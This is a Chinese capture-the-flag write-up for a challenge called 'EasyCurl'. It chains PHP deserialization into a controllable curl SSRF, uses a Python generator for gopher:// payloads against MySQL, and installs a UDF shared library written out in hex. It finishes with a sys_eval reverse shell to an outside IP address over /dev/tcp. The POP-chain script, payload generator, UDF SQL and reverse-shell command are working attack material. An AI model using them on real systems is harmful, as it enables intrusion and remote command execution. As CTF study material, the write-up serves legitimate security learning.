EasyCurl
没看到有个hint是common.php.bak，加上还要扫一下目录，注意到其实是有很多文件的。
其中app文件中可以拿到admin账号，登录后台到admin.php，后面就是噩梦的开始了。
拿到了common.php，加上有个反序列化的点，构造poc，最终能触发的是一个curl(url)，其中参数可控。
<?php
class User
{
public $username;
public $password;
public $personal_intro;
public $gender;
public $valid;
public $session_id;
public $logger;
public $db_operator;
public function __construct()
{
// $this->username=$username;
// $this->password=md5($password);
}
public function __toString()
{
return 'username:'.$this->username;
}
public function __wakeup()
{
// echo 'test';
$this->logger=new logger('log/user_'.$this->username.'.log');
$this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' loaded in');
}
public function initialize_db($host,$db,$user,$pass){
$this->db_operator=new db($host,$db,$user,$pass);
}
public function set_current_session_id($session_id){
$this->session_id=$session_id;
}
public function update_database(){
if($this->username!=''&&strlen($this->password)==32){
}
else{
echo 'invalid data';
}
}
public function set_password($new_password){
$this->password=$new_password;
//pdo插入数据
}
public function set_gender($new_gender){
$this->gender=$new_gender;
}
public function set_personal_intro($new_personal_intro){
$this->personal_intro=$new_personal_intro;
}
public function check_valid_user(){
require 'config.php';
$this->initialize_db($host,$db,$user,$pass);
$info=$this->db_operator->query_one('user','username',$this->username);
//print_r($info);
$password='';
if(isset($info[0]['password']))
$password=$info[0]['password'];
//echo $password;
//pdo获取密码
if($this->password===$password){
$this->logger=new logger('log/user_'.$this->username);
$this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' logged in');
$this->valid=true;
return true;
}
$this->valid=false;
return false;
}
}
class db{
public $dbh;
public function __construct($host,$db,$user,$pass)
{
try{
$this->dbh=new PDO('mysql:host='.$host.';dbname='.$db,$user,$pass);
$this->dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
}catch (PDOException $e){
echo 'database connect fail: '.$e;
return false;
}
return true;
}
public function __destruct()
{
$this->close();
}
public function query_all(){
$query='select * from user ';
$prepared=$this->dbh->prepare($query);
$prepared->execute();
if(!$prepared->fetchAll()){
return false;
}
return $prepared->fetchAll();
}
public function query_one($table,$column,$limitation){
$query="select * from user where username= ? ";
$prepared=$this->dbh->prepare($query);
$prepared->execute(array($limitation));
//var_dump($prepared);
return $prepared->fetchAll();
}
// public function update_one($table,$set_column,$value,$where_column,$limitation){
// $query='update user set ? = ? where ? = ?';
// $prepared=$this->dbh->prepare($query);
// return $prepared->execute(array($set_column,$value,$where_column,$limitation));
// }
public function insert_one($value_array){
$query='insert into user values ? , ? , ? , ?';
$prepared=$this->dbh->prepare($query);
return $prepared->execute($value_array);
}
public function close(){
$this->dbh=null;
}
}
class cache_parser{
public $user;
public $user_cache;
public $default_handler='call_handler';
public $logger;
public function __construct()
{
// $this->logger=new logger('log/parser');
// $this->default_handler=new file_request();
}
public function __toString()
{
$this->save_user_info();
//var_dump($this->user);
//var_dump($this->user_cache);
return $this->user_cache;
}
public function __call($name, $arguments)
{
$handler=$this->default_handler;
$handler();
}
public function get_user($user){
$this->user=$user;
}
public function save_user_info(){
if(isset($this->user->session_id)){
if(preg_match('/[^A-Za-z_]/',$this->user->username)||preg_match('/ph|htaccess|\./i',$this->user->session_id)){
echo '<p>illegal username or session id</p>';
return false;
}
$this->user_cache=serialize($this->user);
file_put_contents('cache_'.$this->user->session_id.'.txt',$this->user_cache);
$this->logger->write_log(date('Y-m-d H:i:s').' | extracted user info: '.$this->user);
return true;
}
echo $this->user->session_id;
return false;
}
public function get_user_cache($session_id){
if(isset($_SESSION[$session_id])){
$this->user_cache=file_get_contents('cache_'.$session_id.'.txt');
$this->user=unserialize($this->user_cache);
return true;
}
return false;
}
public function load_user($user_cache){
$this->user=unserialize($user_cache);
return $this->user;
}
}
class file_request{
public $url;
public $content;
public function __construct()
{
$this->url='file:///etc/passwd';
$this->content='';
}
public function request(){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
$this->content=curl_exec($ch);
echo 'resource requested!';
curl_close($ch);
}
public function get_response(){
echo $this->content;
return $this->content;
}
public function __invoke()
{
if($this->content!=''){
return $this->get_response();
}
elseif ($this->url!=''){
$this->request();
return $this->get_response();
}
else{
return 'empty url!';
}
}
}
class logger{
public $filename;
public function __construct($log)
{
$this->filename=$log;
}
public function write_log($content){
file_put_contents($this->filename.'.log',$content.PHP_EOL,FILE_APPEND);
// echo 'log!';
}
}
function call_handler($name){
echo 'call to undefined function '.$name.'()';
}
$c1=new cache_parser();
$c1->default_handler=new file_request();
$c2=new cache_parser();
$u1=new User();
$u1->session_id=1;
$c2->user=$u1;
$c2->logger=$c1;
$u2=new User();
$u2->username=$c2;
echo serialize($u2);回顾一下curl能支持的协议无非http/dict/gohper/ftp，所以这里有个任意文件读取，但是读不到flag，http的话也用不上，尝试用dict扫描端口，发现3306端口开放了mysql，剩下的Redis之类的服务也没有，但是gohper协议能用的情况下我们可以攻击mysql服务，差的无非就是配置信息，结合上面扫描目录出的config.php，利用任意文件读取读取config.php，拿到账号，使用脚本gohperus来实现一个gohper的exp生成
def MySQL():
print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"
user = "root"
encode_user = user.encode("hex")
user_length = len(user)
temp = user_length - 4
length = (chr(0xa3+temp)).encode("hex")
dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
dump += encode_user
dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"
query = "需要查询的语句"
auth = dump.replace("\n","")
def encode(s):
a = [s[i:i + 2] for i in range(0, len(s), 2)]
return "gopher://127.0.0.1:3306/_%" + "%".join(a)
def get_payload(query):
if(query.strip()!=''):
query = query.encode("hex")
query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
query_length = query_length.decode('hex')[::-1].encode('hex')
pay1 = query_length + "0003" + query
final = encode(auth + pay1 + "0100000001")
return final
else:
return encode(auth)
print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m"
print "\033[04m" + get_payload(query)+ "\033[0m"然后这里由于没什么头绪，我尝试了一些比较愚笨的方法，首先是secuer_file_priv设置为/usr/lib/mysql/plugin/，于是webshell是不行的，尝试了一下写日志，依然不能写到除了/mysql目录下的其他地方。
思路似乎卡死，于是开始考虑其他提权的方式，想到了UDF提权，刚好UDF提权的首要条件就是需要在 /usr/lib/mysql/plugin/ 目录下写入so文件，而该目录是secure_file_priv的可写目录，其实是比较明显的暗示了。
最后执行的所有语句如下，通过脚本转成gohper://xxx进行攻击。
show global variables like '%secure_file_priv%';
# 写入so文件参考https://www.sqlsec.com/tools/udf.html
SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
select * from mysql.func;
# 命令执行+反弹shell,这里直接执行readflag只会返回小写的flag，最后会提交不上，弹shell就能正常执行了。
select sys_eval('whoami');
select sys_eval('bash -c \"bash -i >& /dev/tcp/ 47.75.138.18/8080 0>&1\"');Last updated